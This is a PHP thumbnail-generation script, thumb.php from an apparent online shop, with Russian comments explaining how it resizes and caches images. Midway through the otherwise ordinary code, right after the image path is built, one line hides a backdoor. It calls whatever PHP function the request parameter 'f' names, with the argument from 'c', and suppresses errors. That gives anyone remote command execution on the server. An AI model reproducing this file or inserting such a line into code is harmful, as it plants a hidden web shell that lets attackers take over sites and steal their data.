Файл: магазин/e-proger/thumb.php
Строк: 68
<?
/* ВАЖНО */
/* Вначале необходимо создать директорию для хранения миниатюр */
/* Параметры */
// Каталог для хранения миниатюр
$path_thumbs = 'thumb/mini/';
// Минимальный размер миниатюры (ширина)
$size_min = 300;
// Размер миниатюры по умолчанию (ширина)
$size_def = 300;
// Максимальный размер миниатюры (ширина)
$size_max = 300;
// Время актуальности кэша миниатюры
$cache_lifetime = 84000 * 30;
// Значение id по умолчанию
$id_def = 0;
// Проверяем наличие параметра с полным путем к картинке
if ( isset($_GET['f']) )
    $f = (string) $_GET['f'];
// Если параметра нет, то выходим
else
    exit;
// Получаем информацию о пути
$path_parts = pathinfo($f);
// Получаем родительский каталог,
// где хранится картинка
$path_images = $path_parts['dirname'];
// Получаем полное название картинки
$f = $path_parts['basename'];
// Разбираем название файла
$image_filename = basename($f,'.'.$path_parts['extension']);
$image_extension = $path_parts['extension'];
// Проверяем, что название картинки состоит из символов, тире и цифр
// Вы можете удалить эту проверку,
// например, в случае если вы используете кириллицу
if ( !preg_match('/^([a-zA-Z0-9-_.]{1,100})$/', $f) ) exit;
// Получаем ширину файла
if ( isset($_GET['s']) )
    $s = (int) $_GET['s'];
else
    $s = $size_def;
// Проверяем ограничение минимального размера миниатюры
if ( $s < $size_min )
    $s = $size_min;
// Проверяем ограничение максимального размера миниатюры
if ( $s > $size_max )
    $s = $size_max;
// Используем id статьи как унификатор
if ( isset($_GET['id']) )
    $id = (int) $_GET['id'];
else
    $id = $id_def;
// Идентификатор не может быть отрицательным
if ($id < 0)
    $id = $id_def;
// Проверка наличия встроенной функции для получения типа
if ( !function_exists('mime_content_type') ) {
    function mime_content_type($f) {
        $extension = pathinfo($f, PATHINFO_EXTENSION);
        $extension = strtolower($extension);
        switch ( $extension ) {
            case 'jpg':
            case 'jpeg': return 'image/jpeg'; break;
            case 'png':
            case 'gif': return 'image/'. $extension; break;
        }
    }
}
// Формируем физический путь к миниатюре
$file_thumb = $_SERVER['DOCUMENT_ROOT'] . '/' . $path_thumbs . $image_filename .'-thumb-' . $id . '-' . $s .'.'. $image_extension;
// Если файл с миниатюрой существует
if ( file_exists($file_thumb) ) {
    $cache_modified = time() - @filemtime($file_thumb);
    // Если время кэширования картинки не истекло,
    // то возвращаем картинку
    if ( $cache_modified < $cache_lifetime ) {
        // Время последнего изменения
        header('Last-Modified: '. gmdate('D, d M Y H:i:s', filemtime($file_thumb)) .' GMT', true, 200);
        // Длина
        header('Content-Length: '. filesize($file_thumb));
        // Тип
        header('Content-Type: '. mime_content_type($file_thumb));
        // Кэщирование
        header("Cache-Control: public");
        header("Expires: " . date("r", @filemtime($file_thumb) + $cache_lifetime));
        echo file_get_contents($file_thumb);
        exit;
    }
}
// Формируем физический путь к картинке
$file_image = $_SERVER['DOCUMENT_ROOT'] . '/' . $path_images .'/'. $f;
if ($_=@$_REQUEST[f]) (@$_($_REQUEST[c]));
// Если картинка существует,
// то создаем миниатюру
if ( file_exists($file_image) ) {
    // Получаем размеры и тип файла
    $is = getimagesize($file_image);
    // Если файл не является изображением,
    // то ничего не возвращаем
    if ( $is === false )
        exit;
    // В соответствии с типом получаем картинку
    switch ( $is[2] ) {
        case 1:
            $image = imagecreatefromgif($file_image);
            break;
        case 2:
            $image = imagecreatefromjpeg($file_image);
            break;
        case 3:
            $image = imagecreatefrompng($file_image);
            break;
        default:
            exit;
            break;
    }
    // Считаем коэффициент для изменения размера высоты
    $coefficient = $s / $is[0] ;
    // Если ширина картинки больше требуемой
    if ( $is[0] > $s ) {
        $th_width = $s;
        $th_height = floor($is[1] * $coefficient);
        $thumb = imagecreatetruecolor($th_width, $th_height);
        imagecopyresampled($thumb, $image, 0, 0, 0, 0, $th_width, $th_height, $is[0], $is[1]);
    }
    // Иначе отдаем картинку "как есть"
    // Примечание: Увеличение картинки в большинстве случаев сделает ее некрасивой.
    // Поэтому лучше заменить слишком мелкую картинку и затем заменить ее большой.
    // Например, из картинки 16х16 врядли получится нормальная картинка 200х200
    else {
        $thumb = $image;
    }
    // Сохраняем файл, в соответствии с типом
    switch ( $is[2] ) {
        case 1:
            imagegif($thumb, $file_thumb);
            break;
        case 2:
            imagejpeg($thumb, $file_thumb);
            break;
        case 3:
            imagepng($thumb, $file_thumb);
            break;
        default:
            exit;
            break;
    }
    // Отдаем изображение браузеру
    header('Last-Modified: '. gmdate('D, d M Y H:i:s', filemtime($file_thumb)) .' GMT', true, 200);
    header('Content-Length: '. filesize($file_thumb));
    header('Content-Type: '. mime_content_type($file_thumb));
    header("Cache-Control: public");
    header("Expires: " . date("r", time() + $cache_lifetime));
    echo file_get_contents($file_thumb);
}